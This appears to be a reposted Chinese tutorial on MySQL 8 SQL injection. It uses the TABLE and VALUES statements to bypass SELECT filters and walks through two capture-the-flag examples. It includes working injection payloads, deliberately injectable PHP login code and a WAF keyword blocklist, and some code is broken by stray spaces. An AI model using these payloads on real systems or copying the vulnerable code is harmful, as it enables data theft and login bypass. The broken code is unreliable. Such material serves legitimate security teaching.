您的位置 首页 java

深入浅出带你学习MYSQL8特性注入

前言

今天给大家带来的是MYSQL8版本的特性注入,说起 SQL注入 大家一定不陌生,可是你有没有想过,当 SQL 注入中最关键的函数SELECT被过滤后,我们要如何去执行 SQL语句 呢,这就是本文要讲的内容,即利用 MYSQL8 版本的 特性 来进行关键字的绕过注入。

基础知识

因为MYSQL8配置并不是本文的重点,大家可以参考下面的链接来自己进行配置:

table

官方文档:

dev.mysql.com/doc/refman/…

table函数为 MYSQL8 版本中新增的函数,其作用与 select 函数类似,作用是列出表中的全部信息,规范语法如下:

 TABLE table_name [ORDER BY column_name] [LIMIT  number  [OFFSET number]]
复制代码  

假如我们使用 table 函数查询 users 表下面的内容,可用以下语句:

 table users;
复制代码  

我们可以看到table函数可以等价于下面的常规查询语句:

 select * from users;
复制代码  

上面这两条语句查询出的结果是一致的,同时table是支持 UNION联合查询 ORDER BY 等限制条件,但它与SELECT的区别可以总结为下面两个要点:

1.我们使用table语句进行查询时,显示的始终是表的所有列。

2.我们不可以用where字句来限定某个特定的行。

values

官方文档:

dev. MYSQL .com/doc/refman/…

MYSQL8中另一个新增的函数,用法可以概括为函数后跟一个或多个 行构造函数 列表 ,可以构造一个表,规范语法如下:

 VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]
value_list:
    value[, value][, ...]
column_designator:
    column_index
复制代码  

比如我们要用values函数构造一个表,可以参考下面图片理解:

需要我们注意的是,values函数可以配合 联合查询 来达到SQL注入的效果,例如:

 select * from user union VALUES ROW(2,3)
复制代码  

比较特性

了解了上面两个函数之后,下面来说一下MYSQL中的比较特性,该特性是我们在进行MYSQL8特性盲注中必须要理解的点,我们通过下面语句去查询表(利用 TABLESPACES_EXTENSIONS ):

 table information_schema.TABLESPACES_EXTENSIONS limit 6,1;
复制代码  

查询到了以下的内容:

假设我们用 小于号 去进行比较:

 select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
复制代码  

返回了数据为1,之后我们再用u的后面一位进行比较:

 select (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
复制代码  

返回了数据为0,这时我们会思考为什么字母为u时返回了数据1,毕竟比较后为等于,这里利用了特性,因为我们字符u比较后为小于等于,所以我们需要将比较后结果字符的 ASCII码减1 才是真正的结果,所以我们在进行注入时得出的结果要将其ASCII码减1后转换。我们再看下面的例子:

 select (('数据','','')<(table users.users limit 0,1));
复制代码  

我们通过上面的语句去进行字段数据的爆破,参考下面的图:

我们在整型的地方输入了字符型的数据,比较时字符型会被 强制转换 成了整形,可以看到爆出了第一位数据为1,但需要注意当我们用下面查询语句进行注入:

 select (('1xino','','')<(table users.users limit 0,1));
复制代码  

返回的数据还是1,这就很奇怪了,说以我们要注意因为字符型与 整型 比较会存在强制转换,所以比较会一直持续下去,我们写 脚本 的时候需要注意这个问题。

MYSQL8特性注入实例

实例一

我们进入实例环境给了我们如下的提示:

需要我们注入出email的数据,提示我们传入id参数,尝试后发现select被过滤了,于是我们考虑可不可以进行mysql8特性注入:

 ?id=8 union table emails limit 8,1 --+
复制代码  

成功回显给了我们email的数据:

访问后得到一个压缩包,我们打开后发现源码:

 <?php
 include  "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_ errno ) {
    die("Connection failed: " . $conn->connect_errno);
} 
echo "Where is the database?"."<br>";
echo "try ?id";
function sql WAF ($s)
{
    $filter = '/xml|extractvalue|regexp| copy |read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}
if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{
    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);


     if  ( !sqlWaf($passwd) )
        die('damn hacker');
    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>
复制代码  

简单分析一下,需要我们满足以下条件:

 $row['username'] === 'admin' 
row['passwd'] == $passwd
复制代码  

同时需要我们查询语句结果 大于一行 而且 users 表中要有 admin 用户,需要我们创建一个 虚拟表 ,讲到这里是不是很眼熟,我们想到可以利用 values 函数:

 GET:?id=-1%20union%20table%20emails%20limit%207,1
POST:username=-1' union values row("1","admin","1")%23& passwd =1
复制代码  

实例二

进入实例后是一个登录框:

给了我们提示源码,因为代码太长所以这里就展示比较重要的地方:

 if (isset($_POST['username']) && isset($_POST['password'])) {    
    if (!isset($_SESSION['VerifyCode']))
            die("?");
    $username = strval($_POST['username']);
    $password = strval($_POST['password']);
    if ( !sqlWaf($password) )
         alert Mes('damn hacker' ,"./index.php");
    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
        if ( $row['username'] === 'admin' && $row['password'] )
        {
            if ($row['password'] == $password)
            {
                $message = $FLAG;
            } else {
                $message = "username or password wrong, are you admin?";
            }
复制代码  

可以看到让我们 POST 传入两个参数, username password ,同时存在下面的 WAF 不允许我们使用 select 进行查询,一旦使用 WAF 禁止的函数就会返回主页面, WAF 内容如下:

 function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}
复制代码  

username 与password的条件与例题一类似,也是让我们插入admin用户,于是我们使用mysql8特性函数:

 username=-1' union values row("xino","admin","xino")%23&passwd=xino
复制代码  

结语

给大家分享了关于MYSQL8特性注入的知识不知道大家学会了没有,总结来说MYSQL8特性注入还是围绕了MYSQL8中新增的两个函数来展开的,有兴趣的小伙伴可以自己搭建环境去手动试一试,总的来说还是非常有趣的,喜欢本文的朋友希望能一键三连支持一下。

原文链接:

文章来源:智云一二三科技

文章标题:深入浅出带你学习MYSQL8特性注入

文章地址:https://www.zhihuclub.com/179328.shtml

关于作者: 智云科技

热门文章

网站地图